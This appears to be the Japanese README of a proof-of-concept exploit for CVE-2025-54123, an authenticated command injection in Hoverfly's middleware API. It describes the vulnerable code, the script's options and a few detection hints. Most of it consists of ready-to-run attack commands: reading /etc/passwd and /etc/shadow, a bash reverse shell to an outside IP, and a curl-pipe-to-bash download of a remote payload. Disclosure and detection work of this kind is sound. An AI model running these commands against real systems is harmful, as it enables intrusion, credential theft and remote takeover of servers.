
CVE-2025-54123 Hoverfly 認証済みミドルウェア コマンドインジェクション RCE
Hoverfly 認証済みミドルウェアコマンドインジェクション RCE | CVSS 9.8 CRITICAL(緊急)
Hoverfly <= 1.11.3 は、/api/v2/hoverfly/middleware エンドポイントを介した認証済みコマンドインジェクションに対して脆弱です。管理者の認証情報が必要ですが、認証されると、ミドルウェア機能はユーザーが指定した binary および script の値を検証なしに受け入れ、任意のコマンド実行を可能にします。
middleware.go が任意のバイナリパスを受け入れるlocal_middleware.go がユーザー入力を exec.Command() に直接渡すhoverfly_service.go が検証中にミドルウェアを実行するpython3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> -c <COMMAND> [--shell SHELL]
-t, --target - Hoverfly API エンドポイント(必須)-u, --username - 管理者ユーザー名(必須)-p, --password - 管理者パスワード(必須)-c, --command - 実行するコマンド(必須)--shell - 使用するシェルバイナリ(デフォルト: /bin/bash)# Basic command execution
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami
# Read sensitive files
python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd"
# Reverse shell
python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Multi-command execution
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd"
# Use different shell
python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh
# Download and execute payload
python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash"
/api/v2/hoverfly/middleware に送信する/tmp/hoverfly_<random> に書き込む<shell> /tmp/hoverfly_<random> を実行する{
"binary": "/bin/bash",
"script": "whoami"
}
HTTP ヘッダーには以下が含まれます:
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json
core/middleware/middleware.go:94-96 - binary パラメータに対する入力検証がないcore/middleware/local_middleware.go:14-19 - 安全でない exec.Command() の使用core/hoverfly_service.go:173 - 検証中の即時実行以下を確認してください:
/api/v2/hoverfly/middleware への PUT リクエスト/tmp/hoverfly/ 内の一時ファイル/api/v2/hoverfly/middleware エンドポイントへのアクセスを監視する初の発見者: @Kr1shna4garwal